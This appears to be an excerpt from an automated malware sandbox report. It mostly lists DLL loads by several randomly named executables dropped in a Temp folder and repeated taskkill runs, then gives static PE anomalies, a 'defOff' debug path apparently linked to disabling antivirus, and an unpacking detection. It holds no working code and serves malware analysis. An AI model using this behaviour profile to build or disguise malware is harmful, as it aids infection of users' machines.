Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2971136 > 1048576

Source: file.exe

Static PE information: Raw size of swezfqkm is bigger than: 0x100000 < 0x2a9c00

Source:	Binary string: my_library.pdbU source: 96b4cd4489.exe, 0000000A.00000003.2458240806.000000000514B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000000.2547440322.000000000009C000.00000008.00000001.01000000.00000012.sdmp, 96b4cd4489.exe, 00000022.00000003.2658688178.0000000004E8B000.00000004.00001000.00020000.00000000.sdmp, num[1].exe.8.dr
Source:	Binary string: my_library.pdb source: 96b4cd4489.exe, 0000000A.00000003.2458240806.000000000514B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 0000001A.00000000.2547440322.000000000009C000.00000008.00000001.01000000.00000012.sdmp, 96b4cd4489.exe, 00000022.00000003.2658688178.0000000004E8B000.00000004.00001000.00020000.00000000.sdmp, num[1].exe.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe, 00000002.00000003.1890583615.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe, 00000002.00000002.2023654046.0000000000312000.00000040.00000001.01000000.00000006.sdmp, LY9L8IB5BIZFUZH5SXM3A25NO.exe, 0000002B.00000003.2758643971.0000000004C90000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Unpacked PE file: 2.2.MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe.310000.0.unpack :EW;.rsrc:W;.idata :W;mumtztzr:EW;ueaihgqr:EW;.taggant:EW; vs :ER;.rsrc:W;
